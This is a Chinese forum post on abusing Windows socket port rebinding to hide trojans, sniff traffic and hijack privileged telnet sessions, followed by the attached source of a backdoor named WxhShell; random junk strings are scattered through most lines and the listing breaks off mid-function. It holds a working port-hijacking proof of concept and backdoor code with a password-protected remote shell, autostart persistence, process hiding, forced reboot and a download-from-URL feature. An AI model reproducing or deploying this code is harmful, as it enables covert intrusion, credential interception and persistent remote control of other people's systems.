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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %~P3t=r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !Wj`U$];  
 Q.Y6  
  saddr.sin_family = AF_INET; E85TCS 1  
AoY!f'Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); W6):IW(E  
<pM6fI6BD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :;\xyy}A  
Gp=V%w\FDW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fi%lN_Ev?  
tMXNi\Bj  
  这意味着什么?意味着可以进行如下的攻击: 4{G>T  
GK1P7Qy?V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =i6k[rg  
_+Z5qUmQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !wC( ]Y  
/T 2 v`Li  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ExF6y#Y G<  
h@J3+u<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nELY(z  
BU|)lU5)z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PP]7_h^ 2  
C3~O6<,Jh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &UO/p/a  
93 =?^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V."cmtf  
v=cX.^ L  
  #include ~du U& \  
  #include zjSHa'9*  
  #include GyV uQ51  
  #include    g?*D)W U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TP/bX&bjCy  
  int main() nRT ]oAi  
  { ])q,mH  
  WORD wVersionRequested; ]YOWCFAQot  
  DWORD ret; w-C%,1F,/  
  WSADATA wsaData; =E-o@#BS  
  BOOL val; O\6gw$  
  SOCKADDR_IN saddr; 5BK3ix*L  
  SOCKADDR_IN scaddr; 2*] [M,L0c  
  int err; a'd=szt  
  SOCKET s; iiWpm E<,  
  SOCKET sc; Tl#2w=  
  int caddsize; TD78&a#  
  HANDLE mt; y1[@4TY]  
  DWORD tid;   S,Q(,e^&  
  wVersionRequested = MAKEWORD( 2, 2 ); `fl$ o6S/  
  err = WSAStartup( wVersionRequested, &wsaData ); 3Bcv"O,B!{  
  if ( err != 0 ) { A`"?~_pHC  
  printf("error!WSAStartup failed!\n"); 4YoQ*NQw-  
  return -1; AUES;2WL  
  } oE2VJKs<B  
  saddr.sin_family = AF_INET; 8L]Cc!~  
   :B\ $7+$v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (Ffa{Tt!  
wc\`2(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mHa~c(x  
  saddr.sin_port = htons(23); =(~ZmB\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [+="I &  
  { [.w`r>kZI  
  printf("error!socket failed!\n"); 5Zmc3&vRl  
  return -1; TI\EkKu"  
  } \rE] V,,2  
  val = TRUE; 9<kMxtk$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F`,Hf Cb\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yo%Nz"  
  { `?f<hIJoz  
  printf("error!setsockopt failed!\n"); M1T.  
  return -1; m"6K_4r]  
  } p#3G=FV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  m3^D~4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mx#)iHY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sCp)o,;  
hegH^IN M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =NSunW!  
  { d(Hqj#`-31  
  ret=GetLastError(); 0fK#:6  
  printf("error!bind failed!\n"); s,l*=<  
  return -1; BuUM~k&SY  
  } T0.sL9  
  listen(s,2); P>^$X  
  while(1) "z= ~7g  
  { t:xTmK&vt  
  caddsize = sizeof(scaddr); 8 qZbsZi4  
  //接受连接请求 O@w_"TJP/z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OMd:#cWsQ  
  if(sc!=INVALID_SOCKET) (+<66 T O  
  { /LtbmV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sz]1`%_H/  
  if(mt==NULL) 4W<[& )7  
  { 7#X`D  
  printf("Thread Creat Failed!\n"); M 9NT%7Il  
  break; J)|I/8!#  
  } d/awQXKe7  
  } P0U&+^W"9  
  CloseHandle(mt); E*kZGHA  
  } DZA '0-  
  closesocket(s); 5 +j):_  
  WSACleanup(); &JD^\+7U:  
  return 0; ~QUN O~  
  }   c%&*yR  
  DWORD WINAPI ClientThread(LPVOID lpParam) BB ::zBg  
  { ZwiXeD+4  
  SOCKET ss = (SOCKET)lpParam; Dtyw]|L\H  
  SOCKET sc; 8i<]$  
  unsigned char buf[4096]; `B,R+==G:  
  SOCKADDR_IN saddr; sGpAaGY>  
  long num; 51* [Ibx  
  DWORD val; :LC3>x`:  
  DWORD ret; IWI$@dng6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {xTh!ih2 -  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wF59g38[z$  
  saddr.sin_family = AF_INET; " RIt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $iA:3DM07  
  saddr.sin_port = htons(23); ~PU}==*q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,]y_[]636  
  { J aJ/ |N  
  printf("error!socket failed!\n"); @\>7 wt_'  
  return -1; +}:2DXy@  
  } 3df5 e0  
  val = 100; 6E(..fo:"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _c-(T&u<  
  { nT(AO-Ue^  
  ret = GetLastError(); @X9T"  
  return -1; lhf5[Rp  
  } l)'*jZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QIJ/'72  
  { i [Wxu M  
  ret = GetLastError(); ,f<J4U:Y  
  return -1; jM-5aj[K  
  } H ]!P[?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;lt8~ea  
  { c `.BN(  
  printf("error!socket connect failed!\n"); 77wod}h!:  
  closesocket(sc); -3 "<znv  
  closesocket(ss); ^g"p}zf L"  
  return -1; Vi0D>4{+  
  } P\QbMj1U  
  while(1) %;<g!Vw.k  
  { 7) a f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JxEz1~WK &  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !DHfw-1K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !1UZ<hq  
  num = recv(ss,buf,4096,0); H^vA}F`  
  if(num>0) 4$U^)\06W  
  send(sc,buf,num,0); &5[+p{2  
  else if(num==0) E]S:F3  
  break; Prc1U)nfo  
  num = recv(sc,buf,4096,0); /x_AWnU  
  if(num>0) 'q RQO(9&m  
  send(ss,buf,num,0); :h!'\9   
  else if(num==0) NW*#./WdF8  
  break; =)*Z rD  
  } Y^;izM}  
  closesocket(ss); Y0m?ZVt  
  closesocket(sc); yJ6g{#X4K<  
  return 0 ; fr$6&HDZ9  
  } ;vbM C74J#  
{>XoE %  
6Ypc]ym=J  
========================================================== xr7M#n  
a`?Vc}&  
下边附上一个代码,,WXhSHELL  5PC:4  
<:mK&qu f  
========================================================== <(yAat$H  
Q("4R  
#include "stdafx.h" <P@O{Xi+K  
! CJ*zZ*  
#include <stdio.h> TmM~uc7mj  
#include <string.h> %az6\"n  
#include <windows.h> H$pgzNL  
#include <winsock2.h> ?IoA;GBg  
#include <winsvc.h> DF gM7if  
#include <urlmon.h> 6s ~!B{Q  
WT3g31  
#pragma comment (lib, "Ws2_32.lib") X\i;j!;d  
#pragma comment (lib, "urlmon.lib") S/RChg_L5  
(Jk[%_b>_  
#define MAX_USER   100 // 最大客户端连接数 b)E<b{'W  
#define BUF_SOCK   200 // sock buffer  o|#F@L3i  
#define KEY_BUFF   255 // 输入 buffer -(ST   
#hMkajG  
#define REBOOT     0   // 重启 tF./Jx]_  
#define SHUTDOWN   1   // 关机 pF8+< T3y  
ELG9ts+5Uj  
#define DEF_PORT   5000 // 监听端口 G%= gCR  
(hIo0 .  
#define REG_LEN     16   // 注册表键长度 9wO2`e )  
#define SVC_LEN     80   // NT服务名长度 /Nob S'd  
fL]jk1.Xv-  
// 从dll定义API ?,%PemN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); whrDw1>(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BN FYUcVP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S_RP& +!7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |Q";a:&$  
?5,I`9  
// wxhshell配置信息 M=SrZ,W  
struct WSCFG { >J_ P[v  
  int ws_port;         // 监听端口 {))Cb9'  
  char ws_passstr[REG_LEN]; // 口令 |YfJ#Agm+  
  int ws_autoins;       // 安装标记, 1=yes 0=no vb`aV<MhH  
  char ws_regname[REG_LEN]; // 注册表键名 Q~P|=*  
  char ws_svcname[REG_LEN]; // 服务名 GhjqStjS&l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {K?e6-N(z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >J)4e~9EJ2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'iDkAmvD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vL^ +X`.td  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y=[{:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h(4\k?C5  
jpoNTl'  
}; rls{~ZRl  
x~{W(;`!  
// default Wxhshell configuration N%1nii  
struct WSCFG wscfg={DEF_PORT, UdA,.C0  
    "xuhuanlingzhe", v$g\]QS p  
    1, )@y7 qb  
    "Wxhshell", 02T'B&&~  
    "Wxhshell", !C^>tmqS  
            "WxhShell Service", IR;3{o  
    "Wrsky Windows CmdShell Service", *&R|0I{>  
    "Please Input Your Password: ", V)ag ss w?  
  1, ^D9 w=f#a  
  "http://www.wrsky.com/wxhshell.exe", \~zm_-Hw@Y  
  "Wxhshell.exe" {k[dg0UV  
    }; 4MtRI  
b.kV>K"X3  
// 消息定义模块 E&U_@ bc-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZA@zs,o%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lLglF4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m@0> =s~.  
char *msg_ws_ext="\n\rExit."; t=s.w(3t  
char *msg_ws_end="\n\rQuit."; ziM@@$ .F  
char *msg_ws_boot="\n\rReboot..."; kmtkh "  
char *msg_ws_poff="\n\rShutdown..."; Z5EII[=$o  
char *msg_ws_down="\n\rSave to "; ^gR~~t;@  
}qZ^S9  
char *msg_ws_err="\n\rErr!"; tAujm*|&  
char *msg_ws_ok="\n\rOK!"; aH8]$e8_,\  
(XFF}~>B.  
char ExeFile[MAX_PATH]; }nO%q6|\V  
int nUser = 0; 2+ g'ul`  
HANDLE handles[MAX_USER]; }jdmeD:  
int OsIsNt; Cn5;h(r  
kX:1=+{xg  
SERVICE_STATUS       serviceStatus; W`TSR?4~t?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `gJ$fTi&  
T, PN6d  
// 函数声明 e#F3KLSL`  
int Install(void); 6BEDk!  
int Uninstall(void); *!3qO^b?  
int DownloadFile(char *sURL, SOCKET wsh); pZt>rv  
int Boot(int flag); Hc8!cATQk  
void HideProc(void); J6rWe  
int GetOsVer(void); %,aSD#l`f  
int Wxhshell(SOCKET wsl); R4$(NNC+/  
void TalkWithClient(void *cs); &yOl}?u  
int CmdShell(SOCKET sock); T\:*+W37  
int StartFromService(void); &Mt0Qa[  
int StartWxhshell(LPSTR lpCmdLine); Xh/BVg7$  
\pSRG=`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kr!>rqN5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \(`C*d  
L&uPNcZ`-  
// 数据结构和表定义 _?$w8 S%  
SERVICE_TABLE_ENTRY DispatchTable[] = 0(&Rm R  
{ v!3Oq.ot  
{wscfg.ws_svcname, NTServiceMain}, F|o 1r  
{NULL, NULL} NdX  C8  
}; IH5^M74b  
d5R2J:dI  
// 自我安装 %Q;:nVt  
int Install(void) ,\d03wha  
{ eW}-UeT  
  char svExeFile[MAX_PATH]; sN5Mm8~  
  HKEY key; +~M.Vs X  
  strcpy(svExeFile,ExeFile); pigu]mj  
SxcE@WM  
// 如果是win9x系统,修改注册表设为自启动 Rz6kwh=q  
if(!OsIsNt) { -@B6$XWL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JRAU|gr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4E1j0ARQQ  
  RegCloseKey(key); F5M|QX@-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iQLP~Z>,T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dP]Z:  
  RegCloseKey(key); K5??WB63B  
  return 0; Kq+vAp).  
    } lE8_Q*ev  
  } Vf=,@7  
} 7vI ROK~  
else { QXEZ?gx  
6wXy;!2  
// 如果是NT以上系统,安装为系统服务 T]b&[?p|a[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uigzf^6,  
if (schSCManager!=0) n3 Rf:j^R  
{ K 6,c||#<  
  SC_HANDLE schService = CreateService Uv=)y^H~*A  
  ( 8p1:dTI5Pb  
  schSCManager, d(| 4 +^>  
  wscfg.ws_svcname, 5-S-r9  
  wscfg.ws_svcdisp, `R lWhdE  
  SERVICE_ALL_ACCESS, -Hy> z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *e<'|Kq  
  SERVICE_AUTO_START, %>y!N!.F  
  SERVICE_ERROR_NORMAL, VMNdC}  
  svExeFile,  J&+"  
  NULL, O~6AX)|&=  
  NULL, Xd1+?2  
  NULL, ~L> &p  
  NULL, +8GxX$  
  NULL f}?p Y"yvO  
  ); ^1aY,6I:  
  if (schService!=0) &W&A88FfZU  
  { :r{W)(mm  
  CloseServiceHandle(schService); 7ks!0``  
  CloseServiceHandle(schSCManager); v`:!$U* H=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |O"Pb`V+  
  strcat(svExeFile,wscfg.ws_svcname); !MmbwB'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g|4>S<uC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^?0?*  
  RegCloseKey(key); %(s2{$3  
  return 0; ma"M?aM  
    } A v;NQt8ut  
  } dKw[#(m5v  
  CloseServiceHandle(schSCManager); %uo#<Ny/ I  
} c^5fhmlt  
} twaH20  
~uB@oKMru  
return 1; pNu?DF{ 3  
} ,I,Zl.5  
[g+WL\1  
// 自我卸载 =OKUSHu@V  
int Uninstall(void) L%pAEoSG  
{ 7&L8zl|K  
  HKEY key; xZloEfv.B  
U-{3HHA  
if(!OsIsNt) { S>"C}F$X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @]EdUzzKq  
  RegDeleteValue(key,wscfg.ws_regname); @ W q8AFo  
  RegCloseKey(key); UyF;sw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p-7?S^!l  
  RegDeleteValue(key,wscfg.ws_regname); x'%vL",%  
  RegCloseKey(key);  8*uaI7;*  
  return 0; yDpv+6(a  
  } t6)R 37  
} |;U3pq)  
} eV0eMDY5  
else { ?tT89m3_E  
 FE1En  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F^=y+}]=  
if (schSCManager!=0) jo0XOs  
{ i/C0 (!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -}8r1jQH;  
  if (schService!=0) e >7Ka\  
  { G2:.8 ok  
  if(DeleteService(schService)!=0) { vQDR;T"]  
  CloseServiceHandle(schService); @Qqf4 h  
  CloseServiceHandle(schSCManager); R F;u1vEQ8  
  return 0; Y&i&H=U  
  } ~4ijiw$  
  CloseServiceHandle(schService); >R\@W(-g`  
  } |m$]I4Jr  
  CloseServiceHandle(schSCManager); PK_2  
} Y)M-?|4  
} Ow-;WO_HQ  
wMM1Q/-#  
return 1; /5\{(=0  
} J%E0Wd  
clIn}wQ  
// 从指定url下载文件 X{h[    
int DownloadFile(char *sURL, SOCKET wsh) I7<UC{Ny  
{ ;N _ %O  
  HRESULT hr; +]Z *_?j9{  
char seps[]= "/"; t Q>/1  
char *token; ~6Odw GWV  
char *file; 8PG&/ " K  
char myURL[MAX_PATH]; FGpV ]p  
char myFILE[MAX_PATH]; J]Q-#g'Z  
h?GE-F  
strcpy(myURL,sURL); 2k`Q+[?{q>  
  token=strtok(myURL,seps); j?! /#'  
  while(token!=NULL) ~UsE"5  
  { ,JJ1sf2A  
    file=token; 3b<;y%  
  token=strtok(NULL,seps); 9a'}j#mJo  
  } @\=4 Rin/q  
>vuR:4B  
GetCurrentDirectory(MAX_PATH,myFILE); g_"B:DR  
strcat(myFILE, "\\"); J^pq<   
strcat(myFILE, file); 9*CRMkPrd  
  send(wsh,myFILE,strlen(myFILE),0); Z>W&vDeuN  
send(wsh,"...",3,0); z7Z!wIzJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pWb8X}M  
  if(hr==S_OK) l!}7GWj  
return 0; (IAR-957pN  
else W:2j.K9!  
return 1; 1.a:iweN  
tA K=W$r  
} :,'.b|Tl.b  
U a1Z,~ *  
// 系统电源模块 c{i\F D  
int Boot(int flag) q6P5:@  
{ D:N\K/p  
  HANDLE hToken; pEb/yIT"  
  TOKEN_PRIVILEGES tkp; T<mP.T,$!  
*o=( w5   
  if(OsIsNt) { M7(]NQ\TQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lcs?2c:%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cvV8 ;  
    tkp.PrivilegeCount = 1; ,B,0o*qc{K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BR~+CBH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); asYUb&Hz88  
if(flag==REBOOT) { _^F%$K6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =jRC4]M})  
  return 0; nA+gqY6 6|  
} 1]7v3m  
else { p4Xhs@.k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (i]0IYMXy*  
  return 0; ,Aq |IH3j  
} rX|{nb  
  } Ys@\~?ym+  
  else { e~$aJO@B.R  
if(flag==REBOOT) { ban;HGGNG{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R!:F}*  
  return 0; vVbS 4_  
} u4:6zU/{  
else {  '5P:;zw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +Ui%}^ZZ  
  return 0; Mbtk:GuY  
} gyv@_}Y3  
} RM!VAFH   
WAb@d=H{+>  
return 1; e]7J_9t@  
} ov'C0e+o  
+`.,6TNVlY  
// win9x进程隐藏模块 pA@BW:#  
void HideProc(void) va;fT+k=  
{ s&-dLkis{u  
VCUsvhI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AH# Dk5#G  
  if ( hKernel != NULL ) (KphAA8  
  { *Di ;Gf@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B|- W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8?t}S2n2  
    FreeLibrary(hKernel); l'"Ici#7Ls  
  } ztV%W6  
H`jvT]  
return; HhB' ^)  
} ~4ysg[`  
x)e(g}n  
// 获取操作系统版本 U5H5QW+  
int GetOsVer(void) qmbhx9V   
{ oMF[<Xf  
  OSVERSIONINFO winfo; PkDh[i9Z|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |`@7G`x  
  GetVersionEx(&winfo); lD?]D&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UphZRgT!N  
  return 1; l gTw>r   
  else n`|CD Kb  
  return 0; Kl*/{&,P  
} WVh]<?GWXk  
7iH%1f  
// 客户端句柄模块 gnZc`)z  
int Wxhshell(SOCKET wsl) #80r?,q  
{ A{\!nq_~N  
  SOCKET wsh; lBO x B/`  
  struct sockaddr_in client; ?xzDz  
  DWORD myID; NE-c[|rq  
r?=3TAA  
  while(nUser<MAX_USER) nbU?:=P  
{ Wvwjj~HP2}  
  int nSize=sizeof(client); jxDA+7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3 >G"&T{  
  if(wsh==INVALID_SOCKET) return 1;  =E:a\r  
wL" 2Cm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >Gr,!yP  
if(handles[nUser]==0) Rc`zt7hbJ  
  closesocket(wsh); z6bIv }  
else  H r;\}  
  nUser++; -o`|A767  
  } $R/@%U)-o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WD?COUEox  
BPC>  
  return 0; n,%/cUl  
} jg=}l1M"  
UJrN+RtL  
// 关闭 socket `:EU~4s\  
void CloseIt(SOCKET wsh) IFF3gh42.  
{ RJA#cv~f  
closesocket(wsh); WlnS.P\+E  
nUser--; )W3kBDD  
ExitThread(0); "l 1z@  
} C 4hvk'=  
e2M jV8Bs  
// 客户端请求句柄 QhmOO-Z?  
void TalkWithClient(void *cs) Eilo;-El  
{ qJEtB;J'  
~DUOL ~E  
  SOCKET wsh=(SOCKET)cs; `Bv, :i  
  char pwd[SVC_LEN]; U#F(%b-LC  
  char cmd[KEY_BUFF]; e><,WM,e  
char chr[1]; ^uWj#  
int i,j; n.xOu`gj  
t$b{zv9C  
  while (nUser < MAX_USER) { OT}^dPQe  
3+ WostOx  
if(wscfg.ws_passstr) { 7B#HF?,?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @d6N[?3;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , @dhJ8/  
  //ZeroMemory(pwd,KEY_BUFF); }y#aO  
      i=0; 9c=`Q5  
  while(i<SVC_LEN) { yI_MY L[  
XQ$9E?|=  
  // 设置超时 <5sP%Fs)  
  fd_set FdRead; xs$ -^FnD  
  struct timeval TimeOut;  -bQi4  
  FD_ZERO(&FdRead); D 13bQ&\B-  
  FD_SET(wsh,&FdRead); rb<9/z5-  
  TimeOut.tv_sec=8; |FJc'&)J"  
  TimeOut.tv_usec=0; _&/2-3]\B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :V:siIDn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '| bHu  
6gJc?+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z^ }4bR]  
  pwd=chr[0]; QF9$SCmv  
  if(chr[0]==0xd || chr[0]==0xa) { :A]CD (  
  pwd=0; @y{ f>nm  
  break; wxo{gBq  
  } u eV,p?Wo  
  i++; 3\&I7o3V  
    } 7 ?"-NrW~  
F)hUT@  
  // 如果是非法用户,关闭 socket 2U`g[1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `NARJ9M   
} =1Tn~)^O  
;>h:VnV(>(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J2Z? }5>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2M3C 5Fu  
n3JSEu;J  
while(1) { u1_NC;  
Ebytvs,w  
  ZeroMemory(cmd,KEY_BUFF); <l"rnM%  
[,|;rt\o>  
      // 自动支持客户端 telnet标准   `& }C *i"  
  j=0; vON1\$bu `  
  while(j<KEY_BUFF) { cK~VNzsz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3pI)  
  cmd[j]=chr[0]; yh"48@L'D  
  if(chr[0]==0xa || chr[0]==0xd) { pl5Q2zq%  
  cmd[j]=0; pJPP6Be<  
  break; W,sPg\G 3  
  } UWg+7RL  
  j++; l. 0|>gj`0  
    } x]<0Kq9K  
6eHw\$/  
  // 下载文件 z)XI A)i6  
  if(strstr(cmd,"http://")) { I<LIw8LI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $%0A#&DVh  
  if(DownloadFile(cmd,wsh)) <+)B8I^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DYaOlT(rE  
  else |n+ ` t?L^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ U`|+ 5  
  } 'v'=t<wgl  
  else { ,NoWAmv  
<;':'sW  
    switch(cmd[0]) { NM&R\GI  
  Q'K[?W|C  
  // 帮助 N2e]S8-  
  case '?': { vC ISd   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *d$r`.9j  
    break; `Uy'YfYF  
  } Xe>   
  // 安装 H|/U0;s  
  case 'i': { _/)HAw?k  
    if(Install())  _V_GdQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F@u>5e^6  
    else hxx`f-#=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <CY<-H  
    break; dEG1[QG  
    } #JW~&;  
  // 卸载 (GXFPEH8  
  case 'r': { mM)d`br  
    if(Uninstall()) YKG}4{T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !S5_+.U#  
    else R\,qL-Br  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6T ,'Oz  
    break; w>uo-88  
    } ZRLS3*`  
  // 显示 wxhshell 所在路径 mZ}C)&,m2  
  case 'p': { [V_\SQV0  
    char svExeFile[MAX_PATH]; Nr:%yvk%s  
    strcpy(svExeFile,"\n\r"); { '1e?  
      strcat(svExeFile,ExeFile); GP;UuQz  
        send(wsh,svExeFile,strlen(svExeFile),0); &1$|KbmV4  
    break; a7wc>@9Q,  
    } U# 7K^(E9  
  // 重启 XD$;K$_7  
  case 'b': { ^A' Bghy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;J&9 l >  
    if(Boot(REBOOT)) <A@qN95m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .YxcXe3#  
    else {  a5@XD_b  
    closesocket(wsh); m vLqccL  
    ExitThread(0); U.p"JSH L  
    } ^.~m4t`U  
